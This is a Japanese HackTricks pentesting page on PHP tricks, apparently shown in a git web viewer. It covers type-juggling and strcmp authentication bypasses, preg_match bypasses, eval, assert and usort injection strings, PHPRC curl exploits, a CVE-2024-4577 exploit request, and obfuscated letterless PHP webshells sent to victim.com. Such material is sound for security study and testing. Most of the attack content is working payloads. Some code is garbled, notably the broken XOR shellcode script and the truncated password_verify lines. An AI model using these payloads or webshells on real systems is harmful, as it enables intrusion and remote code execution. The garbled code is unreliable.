454 lines
26 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PHP Tricks
{{#include ../../../banners/hacktricks-training.md}}
## Cookiesの一般的な場所:
これはphpMyAdminのクッキーにも当てはまります。
Cookies:
```
PHPSESSID
phpMyAdmin
```
場所:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## PHPの比較をバイパスする
### 緩やかな比較/型ジャグリング ( == )
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../images/image (567).png>)
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります文字列内の数字は数字として解釈されます
- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)で確認できます。
### **in_array()**
**型ジャグリング**は、デフォルトで`in_array()`関数にも影響を与えます厳密な比較を行うには、3番目の引数をtrueに設定する必要があります
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()
この関数が**任意の認証チェック**(パスワードの確認など)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ(`https://example.com/login.php/?username=admin&password[]=`)、このチェックをバイパスすることができます:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
`strcasecmp()`でも同じエラーが発生します。
### 厳密な型のジャグリング
`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** は **ユーザー入力を検証する** ために使用できます(それは **ブラックリスト****単語/正規表現****ユーザー入力****存在するか****チェック** し、存在しない場合はコードの実行を続けることができます)。
#### New line bypass
しかし、正規表現の開始を区切る際に `preg_match()`**ユーザー入力の最初の行のみをチェック** します。したがって、何らかの方法で **複数行** で入力を **送信** できる場合、このチェックを回避できる可能性があります。例:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
このチェックを回避するには、**新しい行を含む値をURLエンコードして送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行**で送信します:
```php
{
"cmd": "cat /etc/passwd"
}
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **長さエラーのバイパス**
このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\
`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
#### ReDoS バイパス
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。
[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**
さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数のデフォルトは1,000,0001Mです。\
それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ50万前進し、50万後退を生成します
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHPの難読化のための型ジャグリング
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## パス・トラバーサルとファイルインクルージョンの脆弱性
チェック:
{{#ref}}
../../../pentesting-web/file-inclusion/
{{#endref}}
## さらなるトリック
- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のように $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。
- **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
- マシンの **ユーザー名** を持っている場合は、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認します。
- php 設定に **`register_argc_argv = On`** がある場合、スペースで区切られたクエリパラメータが **`array_keys($_SERVER['argv'])`** の引数配列を埋めるために使用されます。これは、**CLI からの引数**のように扱われます。この設定がオフの場合、**args 配列の値は `Null`** になります。したがって、ウェブページが `if (empty($_SERVER['argv'])) {` のような比較でウェブとして実行されているか CLI ツールとして実行されているかを確認しようとすると、攻撃者は **GET リクエストに `?--configPath=/lalala` のようなパラメータを送信することができ**、それが CLI として実行されていると考え、これらの引数を解析して使用する可能性があります。詳細は [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) を参照してください。
- [**PHP ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
これらの関数は通常、PHP で **パスワードからハッシュを生成する** ために使用され、ハッシュと比較してパスワードが正しいかどうかを **確認** するために使用されます。\
サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じであることです。** 現在、**PASSWORD_BCRYPT** には **入力のサイズ制限が 72 バイト** あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTPヘッダーのバイパスとPHPエラーの悪用
#### ヘッダーを設定した後のエラーの発生
[**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000以上のGETパラメータ、1000のPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。
これにより、例えばCSPヘッダーがコード内で設定されるのをバイパスすることが可能になります。
```php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### ヘッダーを設定する前にボディを埋める
もし**PHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーに**十分に長いコンテンツを印刷させる**ことができ、その結果、サーバーが**レスポンスにヘッダーを追加しようとするとエラーを投げる**ことになります。\
次のシナリオでは、**攻撃者がサーバーに大きなエラーを投げさせました**。画面で見ると、PHPが**ヘッダー情報を変更しようとしたとき、できなかった**ことがわかります例えば、CSPヘッダーがユーザーに送信されなかった
![](<../../../images/image (1085).png>)
## PHP関数における SSRF
ページを確認してください:
{{#ref}}
php-ssrf.md
{{#endref}}
## コード実行
**system("ls");**\
**\`ls\`;**\
**shell_exec("ls");**
[こちらをチェックして、より便利なPHP関数を見つけてください](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **preg_replace()**による**RCE**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
"replace" 引数でコードを実行するには、少なくとも1つの一致が必要です。\
この preg_replace のオプションは **PHP 5.5.0 以降非推奨です。**
### **Eval() を介した RCE**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **Assert()によるRCE**
このphp内の関数は、**文字列で書かれたコードを実行する**ことを可能にし、**真または偽を返す**(これに応じて実行を変更する)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:\
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにできます:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**として「**and**」や「**%26%26**」、「**|**」を使用できます。「or」や「||」は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、「;」も機能しません。なぜなら、ペイロードは実行されないからです。
**別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'`
**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです: `$file = "hola"`
### **usort()によるRCE**
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
この関数を悪用するには:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```
```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
あなたはまた、**//**を使用してコードの残りをコメントすることができます。
閉じる必要のある括弧の数を発見するには:
- `?order=id;}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`。おそらく、1つ以上の括弧が不足しています。
- `?order=id);}//`: **警告**が表示されます。それは正しいようです。
- `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。
### **.httaccessを介したRCE**
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように設定すること)。
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
### 環境変数を介したRCE
PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。
1. シェルコードを含むPHPファイルをアップロードします。
2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。
- **PHPRC** - 別のオプション
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- この技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。
### XAMPP CGI RCE - CVE-2024-4577
WebサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar`のようなリクエストを実行するPHPスクリプトに渡します`php.exe cgi.php foo=bar`として。これにより、パラメータの注入が可能になります。これにより、ボディからPHPコードを読み込むために次のパラメータを注入できます
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。[**この投稿**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)のエクスプロイト例を確認してください。
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
```
## PHP サニタイズバイパス & Brain Fuck
[**この投稿**](https://blog.redteam-pentesting.de/2024/moodle-rce/) では、非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 静的解析
これらの関数への呼び出しにコードを挿入できるか確認してください([こちら](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)から):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
PHPアプリケーションをデバッグしている場合は、`/etc/php5/apache2/php.ini``display_errors = On`を追加してエラープリンティングをグローバルに有効にし、apacheを再起動します: `sudo systemctl restart apache2`
### PHPコードのデオブフスケーション
**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードをデオブフスケートできます。**
## PHPラッパーとプロトコル
PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、妥協することを可能にする場合があります。 [**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebugの認証されていないRCE
`phpconfig()`の出力に**Xdebug**が**有効**であることが表示された場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を介してRCEを取得しようとしてください。
## 変数変数
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"])
ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## 文字なしでPHPを実行する
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### 8進数を使用する
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 簡単シェルコード
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
だから、**数字と文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
より詳細な説明については、[https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)を確認してください。
### XOR Shellcode (inside eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perlのような
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
{{#include ../../../banners/hacktricks-training.md}}